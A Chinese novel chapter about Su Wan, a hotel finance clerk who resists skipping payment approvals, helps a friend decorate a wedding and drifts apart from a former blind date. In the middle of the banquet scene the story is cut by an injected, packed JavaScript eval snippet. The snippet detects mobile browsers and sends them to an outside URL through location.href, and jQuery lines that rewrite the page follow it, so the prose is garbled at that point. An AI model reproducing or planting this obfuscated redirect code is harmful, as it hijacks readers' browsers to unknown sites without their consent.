又是一年春暖花开。
酒店越来越好了。这是苏晚最直观的感受。酒店大堂的玻璃门日夜不停地转着，带进来的人流比去年多出一倍不止。前台的小姑娘忙得脚不沾地，连抬头打招呼的时间都没有。
不止是客人多，入驻的商户也多了。先是二楼隔出了三分之二的一块区域租给了一家贸易公司，走廊上多了一块亮闪闪的铜牌，上面刻着公司的名字，笔画很细，字体很瘦，看着挺洋气的。再后来四楼、十楼、十七楼以上，一块一块区域被租出去，走廊上陆续挂上了不同的牌子——有的是木质的，有的是亚克力的，有的是金属的，大小不一，颜色各异，挤在一起，像一堵花花绿绿的广告墙。电梯里也开始贴各种公司的指示牌，箭头朝东朝西，指向不同的方向。苏晚有时候按错楼层，电梯门一开，走廊上挂的不是她熟悉的酒店客房的门牌，而是一个陌生的公司招牌，她愣了一下，赶紧按关门键，电梯门慢慢合上，把那个陌生的名字夹在门缝中间，越来越窄，最后看不见了。
行政楼层也开始被“盯上”了。那天李敏推开财务室的门，表情有些复杂：“有人看中咱们这间了，说风水好。”
苏晚正对着电脑敲键盘，闻言抬起头：“什么意思？”
“搬家。”李敏把手里的A4纸递过来，纸边在桌沿上磕了一下，发出一声轻响，“新财务室在后楼梯旁边，员工专用电梯通道那边。”她说完，转身走了，高跟鞋踩在地砖上，嗒嗒嗒的，越来越远。
苏晚盯着那张A4纸看了几秒。纸上打印着几行字，宋体，小四，标题加粗——“关于财务室搬迁的通知”。
苏晚去找那间新办公室。推开那扇门的时候，扑面而来一股潮乎乎的霉味。房间小得可怜，一开门就是一条窄窄的过道。过道尽头是两扇窗户，阳光从玻璃外面透进来，落在窗台上，一小块亮的。房间只能放下两张桌子，面对面放，桌沿对着桌沿，留有过道。
“将就一下。”李敏站在门口看了看，叹了口气。
苏晚没说话，只是把窗户推开一条缝，外面的风灌进来，带着后楼梯特有的水泥灰气息。她把手收回来，手指上沾了一层灰，在裤子上蹭了蹭。
自从搬到新办公室之后，苏晚跟大家的距离又远了很多。原本她就不是个很会说话的人，现在更孤独了。每天上班直接从员工电梯坐上来，出了电梯口就是瓷砖地，走几步踩上走廊的深灰色地毯，从硬的脚底感觉到软的脚底，软硬交接的地方有一个小小的坎，她有时候不小心会崴一下脚，赶紧扶住墙，稳一稳，再走。她还不是习惯穿细高跟鞋，虽然穿上之后再配酒店制服，站在镜子前看，确实很飒——腰身收紧了，腿拉长了，走起路来嗒嗒嗒的，有一种“我是专业人士”的气场。但她的脚不这么觉得。每到下午，脚趾就被挤得发疼，脚后跟磨出一层硬茧，走路的时候一瘸一拐的，进了办公室就把鞋踢掉，换上那双从家里带来的老北京布鞋，软底的，踩在地上没声音，舒服多了。
周六，苏晚刚回办公室坐下，椅子还没焐热，门就被敲响了。客房部经理小赖站在门口，脸上的妆化得很精致，嘴唇涂着豆沙色的口红，但她的表情不太好，眉头皱着，嘴角往下撇，像是赶时间，又像是不太高兴。她手里攥着一沓单据，走进来，往苏晚桌上一放，转身就走了。苏晚听见她的高跟鞋踩在走廊上，嗒嗒嗒的，越来越远，然后拐了个弯，听不见了。
苏晚把那沓单据拿起来，一张一张地翻。客房部的费用报销单，有客房迷你吧补货的，有清洁用品的。她逐一核对后面的附件——发票、送货单、入库单。翻到第三张的时候，她停下来，把那张抽出来，仔细看了看。是客房床单、枕套等布草的清洗明细费用，金额不大，但附件齐全，发票上的章也清晰。她把这些单子放在桌角那个待签处的文件框里。那个文件框是李敏专门放的，上面贴了一张标签，手写着“待大老板签字”几个字，字迹潦草，但能看清。她把单子塞进去，没再管它。
下午上班的时候，苏晚正在整理上个月的凭证，把装订好的账本一摞一摞码在柜子里。门又被敲响了，这回敲得很急，咚咚咚的，像是有人在用拳头砸。苏晚转过身，小赖站在门口，这回她的表情更不好了，脸红红的，额头上有一层薄汗，呼吸有点急，胸口的起伏很大。
“苏晚，那张客用清洗明细费用的付款单，支出了吗？”她的声音有点硬，像是在质问。
“还没有，”苏晚站起来，把手里的账本放回桌上。“还没有财务经理和大老板签字。”她的声音不高，但每个字都说得很清楚。
小赖往前走了一步，手撑在桌沿上，身子往前倾。“你先支出去，李姐回来再让她补签。”
苏晚看着她，把椅子往后挪了一点，手指在桌沿上蹭了一下。“这个需要各级领导签字才能录入待审核，而且今天是周末，公对公的账不会立即到账。”她尽量让自己的语气平和，像是在解释一件很简单的事。
小赖不知道是没听懂还是不愿意听，她的眉头皱得更紧了，嘴角往下撇，下巴微微抬起来，声音拔高了。“你先操作，后面手续我来补。客人等着结账，你不支出我怎么跟客人交代？”
苏晚深吸了一口气，把桌面上那沓单据翻开，找到那张布草洗涤的付款凭证，抽出来，放在两个人中间。她用食指点了点单子上的金额，又在“领导审批”那一栏的空格上点了一下。“李经理没签，大老板也没签，系统里录不进去。我没办法跳过这个流程。而且今天是周六，银行对公业务已经关了，就算我录进去了，钱也到不了账。”
小赖的脸色更难看了。她的嘴唇抿成一条线，鼻翼翕动着，手指在桌沿上攥紧，指节发白。她盯着苏晚看了两秒，然后猛地转过身，高跟鞋在地砖上跺了一下，声音很脆。她走到门口，停下来，没回头，声音从那边传过来，硬邦邦的。“那你跟客人说去。”说完推开门，走了。门在她身后慢慢合上，锁舌咔哒一声，弹进去了。
苏晚坐在椅子上，盯着那扇关上的门，手指还搭在那张单子上。她听见小赖的脚步声在走廊上越来越远，然后拐弯，听不见了。她把那张单子放回待签处的文件框里，靠回椅背上，手搭在扶手上，手指慢慢攥紧，又松开。
没多久，李敏回来了。她推门进来的时候，苏晚正在电脑前录入凭证，键盘敲得噼里啪啦响。李敏没回自己的座位，直接站在苏晚桌边，把包放在桌上，转过身看着她。
“刚才小赖来找你了？”
苏晚的手指从键盘上抬起来，放在膝盖上。“嗯。”
“说什么了？”
苏晚把事情的经过说了一遍，从上午小赖送单子，到下午来催付款，到她说需要领导签字、周末对公业务已关。她尽量客观，不加评价，只说事实。李敏听着，双手交叉抱在胸前，一只脚往前伸了半步，脚尖点着地面，一下一下的。
“你跟她说了这么多，那你最后操作了没有？”李敏的声音不高，但每个字都带着一种“我已经知道答案了”的语气。
“没有。”苏晚说，“没有你的签字和老板签字，我不能录。”
李敏的眉毛挑了一下，嘴角往下撇了一下，然后她的声音突然拔高了，像是从胸腔里顶出来的。“苏晚，付款这个事情是跨部门合作，你得学会变通。小赖那边客人等着，你不配合，她怎么工作？”
苏晚愣住了。她的手指在膝盖上攥紧，指节发白。她看着李敏，李敏的脸绷着，眉头皱着，嘴唇抿成一条线，下巴微微抬着，像是在等她认错。苏晚张了张嘴，想说“可是”，但那个词卡在喉咙里，没出来。她想起刚才跟小赖解释的那些话——需要签字、周末不能到账——那些话她说了，小赖没听，李敏也不听。她第一次觉得，明明经理也知道周末出账不会立即到账，还希望自己先操作支出，后面不用管。这不是流程的问题，是——她也不知道是什么的问题。
她没说话，低下头，把键盘拉过来，手指搭在上面，没敲。李敏看着她，站了一会儿，拿起包，走回自己的座位。办公室里安静了，只有电脑机箱的嗡嗡声，。苏晚盯着屏幕，光标在那一行数字后面一闪一闪的，她没动。
后来苏晚学“聪明”了。只要是各部门送来的付款单，只要单据齐全、金额无误，她一律先录入系统，先走流程，先点“提交审批”。能有多快就多快，能有多早就多早。她不想再被说“不配合”，不想再被说“不懂变通”。她把那些单子一张一张地录进去，手指在键盘上敲得飞快，屏幕上的数字一行一行地跳，她看也不看就点“确认”。录完了，她靠在椅背上，手指搭在扶手上，觉得自己的效率提高了。
直到有一天，大老板把李敏叫到办公室。苏晚不知道他们说了什么，但李敏回来的时候，脸色不太好。她推开财务室的门，没回自己的座位，直接站在苏晚桌边，把一份文件摔在桌上，纸页散开来，滑到桌边，差点掉下去。
“苏晚，你最近出账是不是太快了？”她的声音压得很低，但每个字都像是从牙缝里挤出来的，“收入要快，支出要慢——这个道理你不知道吗？”
苏晚抬起头，看着李敏。李敏的脸绷着，眼睛瞪着她，下巴微微抬着，嘴唇抿成一条线。苏晚的手指从键盘上抬起来，放在膝盖上，看着李敏，停了两秒。
“上个月，”苏晚的声音不高，但每个字都说得很清楚，“你不是说这类事情你担责吗？”
李敏愣了一下，嘴巴张了张，没说出话。她的手搭在桌沿上，手指慢慢收紧，又松开。她看着苏晚，苏晚也看着她。两个人隔着一张桌子，对视了几秒。办公室里安静得能听见日光灯管的嗡嗡声。李敏把目光移开，拿起桌上那散落的文件，拢了拢，转身走了。苏晚坐在椅子上，看着她的背影，心跳得很快，但手是稳的。她第一次和领导对着干。她说不清楚是什么感觉——不是爽，不是怕，是一种“我不得不这么做”的平静。她把键盘拉过来，手指搭在上面，没敲，盯着屏幕，光标在一行数字后面一闪一闪的。
五一快来临了。邓颖打电话来的时候，苏晚正在整理柜子里的凭证，把去年的账本按月份排好。
“清清，这个周末有空来帮忙吗？”邓颖的声音从听筒里挤出来，带着一点喘，像是在走路。
苏晚把一摞账本放进柜子里，直起腰。“有空。做什么？”
“你来了就知道。”邓颖笑了一声，没细说，“周六早上，XX酒店门口见。”
“好。”苏晚说。
周六早上，苏晚按照邓颖发来的地址，坐公交车到了XX酒店。酒店不大，门面是浅灰色的石材，门口立着两根罗马柱，柱头上雕着花纹，看着挺气派的。苏晚站在门口，掏出手机给邓颖打电话。
“阿颖，我在门口了。”
“我在停车场，你坐客梯下来。”邓颖的声音从听筒里传出来，带着一点回音，像是在地下室里。
苏晚走进酒店大堂，找到客梯，按了负一层。电梯门打开，地下车库的光线暗了不少，头顶的灯管隔几米一根，昏黄昏黄的。她走了一圈，远远看见邓颖的车，后备箱盖开着，像张开的嘴。苏晚走过去，邓颖从驾驶座探出头来，冲她招手。
“来了？快，后备箱的东西帮我拿下来。”
苏晚走到车后面，往里一看——后备箱塞得满满当当，大箱子小箱子摞在一起，用绳子捆着，防止在路上晃。她伸手把最外面那个箱子搬下来，箱子有点沉，她弯着腰，抱着箱子往里走了几步，放在酒店门口的台阶上。箱子的边角裂了一条缝，从缝里露出气球的颜色——粉色的，白色的，还有几个金色的，挤在一起，像是要钻出来。她又回去搬第二箱，第三箱。一共五个箱子，大大小小在台阶上排成一排。
“你等一下，我去找推车。”邓颖从车上下来，把车门关上，钥匙在手里按了一下，车子响了一声，灯闪了闪。她小跑着往车库的角落去了。
苏晚等了一会儿，就见邓颖推着一辆平板推车从柱子后面转出来，轮子碾在水泥地上，咕噜咕噜响。两个人一起把箱子搬上推车，摞好，用绳子简单固定了一下。邓颖推着车，苏晚在旁边扶着，按了电梯，上到三楼。
电梯门打开，走廊里铺着深灰色的地毯，很安静。邓颖推着车走在前面，在一扇双开门前停下来，门是关着的，门把手上挂着一块牌子，写着“XX厅”。邓颖用脚抵住门，苏晚侧身进去把灯打开。灯光一下子亮起来，照得整个大厅通透明亮。门开了，里面空荡荡的，还没摆桌椅，整个大厅显得特别大，说话都有回声。苏晚把箱子一个一个搬下来，放在靠墙的位置。她站在大厅中间，喘着气，额头上沁出一层薄汗，用手背抹了一下。
“我去还推车，你先看看东西。”邓颖说完，推着车又出去了。
苏晚蹲在地上，研究那些箱子里的东西。她把箱子一个个打开，探头往里看。气球、打气筒、支架、丝带——她大概猜到要做什么了。没一会儿，邓颖回来了，她拍了拍手，把外套脱了，搭在椅背上，撸起袖子，露出小臂。
“接了个活，朋友的婚礼现场，气球布置，简单点的。咱们开始吧！”
两个人把箱子一个个打开。第一个箱子里是气球，粉色和白色的，一包一包的，还没充气。第二个箱子里是打气筒和扎带，还有一卷透明的鱼线。第三个箱子里是气球底座和支架，铝合金的，轻，但结实。第四个箱子里是装饰配件——丝带、假花、珍珠串、LED小灯串，还有一卷双面胶。第五个箱子里是备用的东西，还有一个小的蓝牙音箱，邓颖说是用来放背景音乐的。
邓颖蹲下来，把打气筒组装好，插上一根粉色的气球，开始打气。她的动作很熟练，打气筒一上一下，气球就鼓起来了，越来越大，到合适的大小，她把气嘴拔出来，手指捏着气球口，在手指上绕了两圈，打了个结，放在一边。苏晚学着她的样子，拿起另一个打气筒，插上一个白色的气球，打了几下，气球鼓起来，她不知道该打多大，停下来看着邓颖。
“这么大行不行？”
邓颖看了一眼，伸手捏了捏那个气球。“再大一点，对，再打两下——行了。”苏晚把气嘴拔出来，学着邓颖的样子，捏着气球口，在手指上绕了两圈，打了个结，放在地上。两个气球并排躺着，一个粉一个白，圆滚滚的，像两颗水果糖。
两个人打了几十个气球，地上堆了一小片，粉的白的分不清了。邓颖站起来，把手里的打气筒放下，拍了拍膝盖上的灰。她走到支架那边，把铝合金的架子组装起来，一根一根插好，拧紧螺丝。架子是拱形的，两个人合力把它立起来，底部用底座固定好，稳住了。
“来，把气球绑上去。”邓颖拿起一卷鱼线，扯出一截，用剪刀剪断。她把鱼线的一端系在气球口上，另一端系在拱形架子上，一个粉色的气球就挂上去了。苏晚照着她的样子，把一个白色的气球绑在架子上。两个人一个递气球一个绑，配合得越来越顺。粉色和白色交错着挂，一排一排的，从拱形架子的这头挂到那头，气球挤在一起，在灯光下泛着柔柔的光。
邓颖又从箱子里翻出丝带和假花，递给苏晚。“把这个系在气球之间，间隔着来。”苏晚接过来，蹲在架子前面，把丝带绕在架子上，系了一个蝴蝶结，把假花插在蝴蝶结中间。她系了一个，退后两步看了看，歪了，又蹲下来重新系。邓颖在旁边绑气球，偶尔回头看一眼，说一句“可以了”“这个好看”“再往左一点”。两个人忙了一个多小时，拱形架子被气球和丝带装饰得满满当当，粉白相间，间或点缀着几朵假花和珍珠串，在灯光下亮闪闪的。
苏晚站起来，退后几步，歪着头看那个拱门。邓颖也站起来，站到她旁边，胳膊搭在她肩膀上，两个人并排看着成品。
“怎么样？”邓颖问，嘴角翘着，眼睛亮亮的。
苏晚转过头，看着邓颖，竖起大拇指，笑了一下。“棒棒的。”
邓颖笑了一声，伸手在苏晚后脑勺上轻轻拍了一下。“行了，别拍马屁了，把剩下的气球也打了吧，地上还有一堆呢。”
苏晚蹲下来，继续打气球。打气筒一上一下，吱呀吱呀的，气球在手里慢慢鼓起来，越来越大，越来越圆。她盯着那个气球，手指捏着气嘴，绕了两圈，打了个结，放在地上。窗外有阳光照进来，落在那些粉色的气球上，把它们的颜色染得更浅了一些，像被水洗过。她看着那些气球，嘴角弯了一下。
两个人把所有的气球都挂上去之后，邓颖退到门口，歪着头看了几秒，又走进来，调整了几个气球的位置，把一朵歪了的假花扶正，把一条垂下来的丝带重新系紧。她拍了拍手上的灰，从第五个箱子里拿出那个蓝牙音箱，连上手机，放了一首轻音乐。音乐从音箱里流出来，轻轻的，柔柔的，在空荡荡的大厅里回荡。苏晚站在拱门旁边，看着那些气球在灯光下微微晃动，觉得这个大厅忽然变得不一样了——不是空荡荡的了，是有了一点什么，软软的，暖暖的。
“明天新人就来布置其他部分了，我们只管这个拱门。”邓颖把手机收起来，拍了拍手，“行了，收工。”
两个人把剩下的材料和工具装回箱子里，箱子摞在墙角。邓颖去还了推车，回来的时候苏晚已经站在门口等她。两个人一起下了电梯，走出酒店大门。阳光照在脸上，苏晚眯了一下眼睛。
“今天谢谢你啊。”邓颖把车钥匙掏出来，按了一下，“请你吃饭？”
“不用了，我回去还有事。”苏晚摇摇头，笑了一下。
“那下次。”邓颖拉开车门，坐进去，发动了车子。她从车窗里探出头来，冲苏晚喊了一句“路上小心”，苏晚挥了挥手，邓颖的车子拐出停车场，汇入车流，不见了。苏晚站在酒店门口，站了一会儿，然后往公交站走。阳光落在她肩膀上，暖洋洋的。
五 一中餐厅加班。
苏晚很早就到餐厅现场。今天行政部门全体放假，支援餐厅算加班，工资双倍。
苏晚站在门口，愣了一下。
今天这场婚礼，比她之前见过的任何一场都大。整个宴会厅被改造成了一个完全不同的空间——不，不是改造，是“覆盖”。天花板上的水晶吊灯全开着，灯光被白色的纱幔过滤了一遍，洒下来的时候变得很柔，像月光透过薄云。舞台背景不是常见的那几种花样，而是一整面用鲜花拼成的墙，不是假花，是真花，玫瑰、百合、绣球，密密地挤在一起，颜色从深粉渐变到浅粉再到白色，像一幅被风吹散的水彩画。舞台边缘铺满了花瓣，不是撒上去的那种，是一朵一朵摆上去的，沿着舞台的轮廓，从这头摆到那头，摆了整整一圈。过道两侧的花柱比平时高一倍，每一柱都用新鲜的满天星和尤加利叶缠绕着，顶端垂下来的纱幔不是白色的，是那种浅浅的香槟色，被空调的风吹得微微晃动，像一层薄雾。
已经有很多人在忙了。不是酒店的员工——苏晚认出那些穿着深色马甲、手里拿着对讲机的人，是婚庆公司的。他们比酒店的人来得更早，已经在做最后的调试了。有几个男生蹲在舞台边上，调整着LED屏幕的角度，屏幕上是新人的婚纱照，一张一张地轮播，每一张都修得精致，连牙齿的反光都调过了。一个穿着西装马甲的大叔站在梯子上，把一串串的LED灯绕在花柱上，灯串还没亮，但能看出布局，从这头蜿蜒到那头，像一条发光的河流。还有几个穿着黑色制服的司仪小姐姐，站在舞台的一角，手里拿着手卡，正在对流程，一个念，一个点头，一个在纸上记什么，表情认真，嘴唇动得很快。
苏晚收回目光，往自己负责的那几桌走去。今天她负责的区域是靠窗的那几桌，从东边数第三桌到第八桌。她开始摆放餐具，从餐车上的框子里取出白色的瓷碟，一只一只放在桌上，碟子边沿和桌沿对齐，用手指量了一下距离——两根手指的宽度，这是培训时教的。碟子放好，放碗，碗放在碟子左边，筷架放在碟子上方，筷子搁在筷架上，筷头朝左，对齐。杯子放在碟子右上方，红酒杯、白酒杯、饮料杯，三个杯子排成一条斜线，杯底在桌布上轻轻转了一下，稳住了。她弯着腰，手上的动作很快，但每一个动作都稳稳的，不慌不忙。
就在她弯腰摆杯子的时候，她感觉到一道目光。不是那种不经意扫过来的目光，是那种——怎么说呢——像是有人一直在看着你，目光落在你身上，不重，但你能感觉到。苏晚直起身，手里还攥着一个红酒杯，顺着那道目光看过去。
舞台边缘，灯光和纱幔的交界处，站着一个男生。
他穿着一件衬衫，没打领带，领口的扣子解了一颗。他的袖子卷到小臂，露出一截手腕，手腕上戴着一只银色的手表，表盘不大，在灯光下反了一下光。他站在那儿，手里拿着一个对讲机，像是在等什么人，但目光没有落在对讲机上，而是落在她这边。苏晚看过去的时候，他的嘴角微微翘了一下，很轻，像是笑，又像是在确认什么。苏晚愣了一下，手里的杯子差点滑出去，她赶紧握紧，把杯子放在桌上。那张脸有点眼熟，但她想了很久，脑子里转了好几圈，没对上号。她低下头，继续摆杯子，但能感觉到那道目光还在，过了一会儿，才移开。
苏晚继续干活。她把那几桌的餐具全部摆好，又检查了一遍，碟子对齐了，杯子排成线了，筷子没放反。她直起腰，活动了一下脖子，颈椎响了一声。然后她又忍不住往舞台那边看了一眼。那个男生不在了，不知道去哪儿了。她收回目光，去餐台那边帮忙搬酒水。
中午的婚宴开始了。客人陆续进场，苏晚端着托盘上菜、倒饮料、撤盘子，忙得脚不沾地。她的腿酸了，脚后跟被高跟鞋磨得生疼，但她没时间停下来。走到主桌旁边上菜的时候，她余光瞥见那个男生坐在主桌旁边的位置上，手里端着一杯酒，正跟旁边的人说话。他的侧脸对着她，线条很干净，鼻梁高，下颌线收得紧，说话的时候嘴角微微往一边歪，笑了一下。苏晚把菜放在转盘上，转了一下，转身走了。
忙到下午两点多，婚宴散了，客人陆续离场，宴会厅里慢慢安静下来。苏晚正在收桌子，把撤下来的碗碟摞在推车上，摞得高高的，一只手扶着，另一只手推着车往传菜口走。传菜口旁边站着一个婚庆公司的男生，正是刚才那个。他正在跟一个同事交代什么。苏晚推着车从他身边经过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437436|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候，他抬起头，看了她一眼。
“苏晚？”他的声音不高，但很清楚，带着一点试探，像是在确认自己没认错人。
苏晚停下来，推车的把手抵着肚子，她侧过头看着他。近距离看，那张脸更清楚了——眉毛浓，眼睛不大但很深，睫毛很长，看人的时候不躲不闪，很坦然。他的嘴角翘着，带着一点笑，那笑不是客套的，是真的在笑。苏晚盯着他看了两秒。
她想起来了。
他是小姨介绍的一个叔叔的儿子。那天见面是在他家，小姨在他家做客，后来让苏晚去接她，当时他坐在对面，穿着一件深色的夹克，话不多，但每次开口都能把话说到点子上。她当时觉得他蛮帅的，不是那种张扬的帅，是那种——安静的、干净的、看着舒服的帅。但那时候她心里还有一个人的影子，没考虑太多，见了那一次之后就没再联系。后来有一次跟李建聊天，李建无意中提起他的一个朋友，说那个人最近相亲了，对方是个在酒店工作的女生，叫苏晚。苏晚当时愣了一下，问“你说的是谁”，李建说了名字，苏晚翻了个白眼，在电话那头就翻了。“太巧合了，”她说，“虽然男生比较帅。”李建在那边笑，笑得很欠揍，说“要不要我帮你们再约一次”，苏晚说“不用了”，挂了电话。
现在这个人站在她面前，穿着白衬衫，袖子卷着，手里拿着文件夹，在五一劳动节的中餐厅婚宴现场，问她“苏晚？”苏晚的脑子里转过了那些画面，脸上没露出什么，嘴角弯了一下。
“是你啊。”她说，声音不大，但很清楚。
男生笑了一下，那笑从嘴角开始，慢慢延伸到眼睛，眼睛亮了一下。“蛮巧的。”
苏晚点了点头，手指在推车的把手上蹭了一下。“是蛮巧的。”她有点不好意思，想起当时相亲的时候觉得他蛮帅的，但那时候心里还有别人的影子，没考虑太多。现在这个人站在面前，她还是觉得他蛮帅的，但那种感觉已经不一样了。不是不喜欢，是——她也不知道是什么。她低下头，看着推车上那摞碗碟，又抬起头。
“你在这儿工作？”她问。
“婚庆公司，做策划。”他扬了扬手里的文件夹，“今天这场是我们公司做的。”
“很好看。”苏晚说。
“嗯。”他说话的时候喜欢微微歪着头，嘴角翘着，像是在笑，又像是在想什么。他看了苏晚一眼，“你忙完了？”
“还没，还有几桌没收。”
“那你先忙。”他往旁边让了一步，给她让出过道。
苏晚推着车走了。
晚上下班后，苏晚刚走出员工通道，手机就响了。掏出来一看，是小姨。她接起来，把手机贴在耳朵上，靠在墙边，一只脚抬起来，揉了揉酸痛的脚踝。
“清清，今天加班累不累？”小姨的声音从听筒里挤出来，带着一点笑意，背景里有电视的声音，断断续续的。
“还行。”苏晚说。
“我听说你今天碰到那个谁了？”小姨的声音忽然亮了起来，像是憋了很久终于找到机会问出口。苏晚几乎能想象小姨在电话那头的表情——眼睛亮了，嘴角翘起来了，身子往前探了探，连声音都高了一个调。
“哪个谁？”苏晚装傻，把脚放下来，往公交站走。
“就是那个——上次我给你介绍的那个，叔叔的儿子。你还记得吧？”小姨的声音又快又急，“你当时说人家帅，后来又没下文了。今天碰到了？有没有想法啊？”
苏晚握着手机，走在人行道上。路灯亮着，橘黄色的光铺在地上，把她的影子拉得很长。她笑了一下，那笑不是客套的，是真的觉得小姨那个语气好笑。
“小姨，你听我说——”
“你别跟我说‘再说再说’，你都多大了，还不着急？”小姨打断她，声音又高了一度，“我跟你说，这个男孩子条件不错的，家里也好，人长得也帅，你当时不也说人家帅吗？你要是错过了，以后后悔都来不及。”
苏晚没说话。
“你倒是说句话啊。”小姨急了。
“小姨，你唠叨太多了。”苏晚笑了一声，那笑声从喉咙里滚出来，带着一点无奈，但更多的是那种被关心的暖，“好，可以约见面聊聊。”
电话那头安静了一秒，然后小姨的声音炸开来，带着笑。“这才对嘛！我跟你说，女孩子不要太挑，差不多就行了——我不是说你挑，我是说你得给人家机会，多接触接触才知道合不合适。你总不能一辈子一个人吧？”
苏晚没接话，站在公交站牌下面，看着远处的车灯由远及近，又由近及远。风从街口灌进来，把她的头发吹到脸上，她伸手别到耳后。
“行了小姨，我知道了。车来了，我先挂了。”
“好好好，你记得联系人家啊。我把他电话再发给你。”
“嗯。”
挂了电话，苏晚上了公交车，找了个靠窗的位置坐下。车子晃晃悠悠地开着，窗外的街景往后退，一盏一盏的路灯，一块一块的招牌，一个一个的行人。她把手机翻过来，又翻过去，小姨的短信到了，一个电话号码，后面跟着一句话——“记得主动联系人家”。苏晚盯着那行字看了几秒，把手机翻过去，扣在膝盖上。她靠在椅背上，看着窗外，脑子里转着那个男生的样子——白衬衫，袖子卷着，嘴角翘着，说“蛮巧的”的时候眼睛亮了一下。她不知道自己在想什么，不是心动，不是犹豫，是那种——像是站在一条岔路口，两条路都看不清，不知道该往哪边走。她闭上眼睛，车子颠了一下，她的头轻轻磕在车窗玻璃上，不疼，她没睁开眼。
周末，苏晚约了那个男生出来散步。两个人约在公园门口见面，就是市中心那个有山有亭子的公园。苏晚到的时候，他已经站在门口了，穿着一件浅灰色的卫衣，牛仔裤，白色球鞋，手里拎着两瓶水。看见苏晚走过来，他举起一瓶水，晃了晃。
“给你。”
苏晚接过来，瓶身上还带着凉意，她拧开盖子喝了一口，是矿泉水，有点甜。“谢谢。”
两个人沿着坡道往上走。坡道不陡，但长，从公园门口一直延伸到半山腰的亭子。两边的树已经绿了，叶子密密匝匝的，遮住了头顶的天空，阳光从树叶的缝隙里漏下来，落在地上，斑斑驳驳的。苏晚走在左边，他走在右边，两个人的步子都不快，谁也没刻意找话题，但也不觉得尴尬。
“你最近忙吗？”他问，侧过头看了她一眼。
“还行。五一加了几天班，后面补休了。”苏晚把矿泉水瓶换到另一只手，手指在瓶身上蹭了一下，水珠凝在指尖，凉凉的。
“我在婚庆公司也忙，五一前后是旺季，周末基本都在外面跑。”他把手插进卫衣口袋里，脚步慢了一下，等苏晚跟上来，“上周那场婚礼，就是你在的那场，我们提前三天就开始布置了。花墙是前一天晚上才弄好的，弄到凌晨两点。”
“那么晚？”苏晚转过头看了他一眼，他的侧脸被阳光照着，下颌线的轮廓很清晰。
“没办法，鲜花不能提前太早，会蔫。婚礼前一天晚上到货，连夜插上去，第二天早上才浇水。”他说话的时候嘴角微微翘着，不是笑，是那种习惯性的表情，像是随时都带着一点笑意。
两个人走到半山腰的亭子，停下来。苏晚靠在亭子的柱子上，把矿泉水瓶放在石凳上，甩了甩发酸的手臂。他站在她旁边，手插在口袋里，看着山下的城市。城市在阳光下闪着光，楼密密麻麻的，车小得像蚂蚁，远处的山蒙着一层薄雾，灰蓝色的。
“你平时休息都干嘛？”他问，转过头看着她。
“睡觉，看剧，偶尔跟朋友吃饭。”苏晚想了想，觉得自己说的这些挺无聊的，又加了一句，“有时候也出来走走，像今天这样。”
他笑了一下，那笑从嘴角开始，慢慢延伸到眼睛。“我也是。休息的时候就想躺着，什么都不干。”
两个人聊了日常，聊工作，聊最近看的电视剧，聊小时候住在筒子楼的经历。他说他家以前也住在那种老楼里，后来拆迁了，搬到新小区去了。苏晚问他搬去哪儿了，他说了个地名，苏晚不知道在哪儿，他就在手心里画了个地图，手指在掌心上划了几道线，说“这边是东，这边是北，我家在这儿”。苏晚凑过去看了一眼，没看懂，但点了点头。他的手很大，手指修长，掌心的纹路很清晰，她看了一眼，把目光移开了。
后来又约了几次。一次是去看电影，他选的片子，是一部警匪片，枪战的时候声音很大，苏晚被吓了一跳，身子缩了一下，他在旁边笑了一下，没说话。一次是去吃饭，他选了一家川菜馆，辣得苏晚眼泪都出来了，他赶紧给她倒水，递纸巾，说“不好意思，我不知道你不能吃辣”。苏晚接过纸巾擦了擦眼角，说“没事，挺好吃的”，又夹了一块水煮鱼，辣得吸了一口气，还是咽下去了。
再后来，就没下文了。不是吵架，不是谁不理谁，是自然而然地——淡了。他发消息的频率从每天变成隔天，从隔天变成周末，从周末变成偶尔。苏晚也没主动发。两个人的对话框沉到微信列表的下面，被新消息压下去，越来越下面，越来越难找。苏晚有时候翻通讯录的时候会看到他的名字，手指在屏幕上停一下，然后划过去。她说不清楚为什么没下文了——不是他不好，不是她没感觉，是那种——好像两个人都在等对方主动，然后谁都没动。大概是这样。
事后有一次跟李建打电话，李建聊着聊着，忽然提起了那个男生。
“对了，你知道吗，我那个朋友——就是跟你相亲过的那个——前几天我们吃饭，聊起你了。”李建的声音从听筒里挤出来，带着一点酒意，背景里有人在说话，像是在饭馆里。
苏晚靠在沙发上，把手机换到另一只耳朵。“聊我什么？”
“他说你挺好的。说你性格好，安安静静的，不吵不闹。说跟你在一起挺舒服的，不用刻意找话题，也不用硬撑。”李建停了一下，笑了一声，“他说你太忙了，约你出来你总是加班，后来就没好意思再约。”
苏晚没说话。
“他说要是你不那么忙，他愿意再接触接触。”李建的声音低了一些，“你呢？你对他什么感觉？”
苏晚想了很久，然后说了一句“还行吧”，说完自己也不知道这个“还行吧”是什么意思。
李建在那边叹了口气，那口气拖得很长，像是在替她可惜，又像是在说她不懂事。“行吧，反正你自己看着办。”
挂了电话，苏晚躺在床上，想他说“你太忙了”的时候是不是有点失望，想自己是不是真的那么忙。她不知道。她只知道那些约会她确实去了，但每次去的时候脑子里都在想别的事——今天那张报销单还没录完，明天还要去中餐厅加班，后天要交报表。她的心不在那儿，大概人家也感觉到了。她不知道自己是什么时候睡着的，只记得睡着之前脑子里闪过一个念头——那个画面好像见过。不是见过他，是见过这种“没下文”的感觉——明明挺好的，但就是没成。不是哪个人不对，是时间不对，是心情不对，是两个人都在等对方先迈出那一步，然后谁都没迈。